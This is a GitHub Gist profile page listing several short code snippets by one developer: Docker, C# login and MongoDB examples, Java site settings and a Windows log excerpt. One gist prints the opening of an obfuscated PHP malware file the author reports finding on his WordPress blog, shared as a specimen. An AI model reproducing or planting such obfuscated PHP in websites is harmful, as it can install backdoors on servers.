Skip to content

Instantly share code, notes, and snippets.

View cleytonferrari's full-sized avatar

Cleyton Ferrari cleytonferrari

View GitHub Profile
@cleytonferrari
cleytonferrari / docker-compose.yml
Created April 13, 2017 21:25
Exemplo de compose php, mysql, phpmyadmin
# http://www.phprs.com.br/2016/05/criando-um-ambiente-de-desenvolvimento-php-com-docker-compose/
# http://yutaf.github.io/run-phpmyadmin-in-docker-compose/
# uso:
# php http://localhost/
# phpMyAdmin http://localhost:8080/
php:
build: ../
ports:
@cleytonferrari
cleytonferrari / ConectividadeSocial.txt
Created September 1, 2016 20:14
configurações pra funcionar o conectividade social ICP
##Adicione esses sites nas lista confiaveis do Java
http://caixa.gov.br/
http://conectividade.caixa.gov.br/
https://conectividade.caixa.gov.br/
https://conectividade.caixa.gov.br/registro/registrar.m?tkeut=2872728090006ea71ce431cdab2ab7afa7de75254a6ae07a6bb3a840cc18bb16e84dde9ded5e0a7f6a297fd244afa9f7d18a895b6474ff34f73760b1705597925732effb6d7c01ff952c3cb0b849f35b34f150e00fd86fa0732e962d673ffa190c323a3abd398a9f9898fe280cf84109dfafb761bda8f13f96e528a37c086fa2201402100955290&ticketdata=20140210095529&lcr=0
http://cmt.caixa.gov.br/
http://conectividade.caixa.gov.br:80/static/sicnsregistro/applet/assinar1.jar
http://conectividade.caixa.gov.br:80/static/cxpostal/applet/cnsenvio.jar
http://conectividade.caixa.gov.br:80/static/cxpostal/applet/msgenvio.jar
Um identificador para um objeto foi solicitado.
Requerente:
Identificação de segurança: SERVIDOR\Terminal 02
Nome da conta: Terminal 02
Domínio da conta: SERVIDOR
Identificação de logon: 0x42b60
Objeto:
Servidor de objetos: Security
@cleytonferrari
cleytonferrari / arquivo.php
Created August 15, 2016 20:57
Alguns alrquivo malicioso para o WordPress encontrado no meu Blog
<?php
$existentialism= 'W'; $goblin='raOEN'; $dish ='b';$kain = 'HaRSi'; $everyman ='_i4;a$a'; $blocky= ')'; $fossiliferous ='4j_e$aiG'; $heralds='(Tta?c"'; $flocked='4a';$dipped='3"';$dust ='(';$eastbound ='nr"v$_ccT';$distillers ='vI_DbRca(';
$bullet= '`';$lay ='u';$engagingly = 'H'; $contrastingly='a'; $linux = 'eO;e_Ye';
$carbonized='I(p';$heterogeneity= '(';$bins = 't';$lyssa =')';$coalesces= 'id)0'; $inequality= '=fs';$esteban= '$elE'; $ejaculates = '4sCsZ'; $forfend='=rE';
$diseased= '$';$evasive= 'Kea)(D'; $dazzling ='f';$defendants= '_cqAda';$hydrogen='b';
$circuits='hQ"cJn3,';$emma= 'e'; $gert ='_"Aa(a';$bisexual = 'yeT0_XCl"';$avoidably ='(';$impetus = '0';$austrian='nd(CeLP"';
@cleytonferrari
cleytonferrari / Categoria.cs
Last active August 6, 2016 20:57
Como um simples método pode estourar o uso da CPU do servidor :) 1. Precisava criar o slug da categoria pra usar como URL, para simplificar coloquei no Set da classe; 2. A ignorância começa ai, só uso isso uma vez, já que vai salvo no banco, porem, a cada nova instancia da classe ele processa tudo novamente :)
namespace Eva.Dominio
{
public class Categoria : Entidade
{
private string nome;
public string Nome
{
get { return nome; }
set
@cleytonferrari
cleytonferrari / Logica.cs
Created March 21, 2016 13:26
Logica pra gerar nomes sequencial igual as colunas do excel.
using System;
namespace LogicaSequencial
{
class Program
{
static void Main(string[] args)
{
for (int i = 0; i < 100; i++)
{
@cleytonferrari
cleytonferrari / Banner.cs
Created March 10, 2016 00:06
Exemplo de Raw direto na classe do Banner
using System;
using System.IO;
using System.Web;
namespace Eva.Dominio
{
public class Banner : Entidade
{
public Banner()
{
@cleytonferrari
cleytonferrari / controller.cs
Created September 21, 2015 15:41
Exemplo de uso do MongoDB.Driver 2.0.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Web;
using System.Web.Mvc;
using MongoDB.Driver;
using M101DotNet.WebApp.Models;
using M101DotNet.WebApp.Models.Home;
using MongoDB.Bson;
@cleytonferrari
cleytonferrari / Seguranca.ca
Created February 25, 2015 01:47
Exemplo claims
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using System.Web;
using Microsoft.AspNet.Identity;
using Microsoft.Owin;
using Microsoft.Owin.Security;
using W7Gestao.Dominio;
using W7Gestao.Dominio.Configuracao;
@cleytonferrari
cleytonferrari / AcessoController.cs
Created November 1, 2014 19:16
Exemplo de Login com Claims
public ActionResult Index(LoginViewModel model, string returnUrl)
{
if (!ModelState.IsValid) return View();
var usuario = autenticacaoAplicacao.UsuarioInformadoPodeLogarNoSistema(model.Login, model.Pass);
if (usuario != null)
{
Seguranca.SignInCookie(usuario);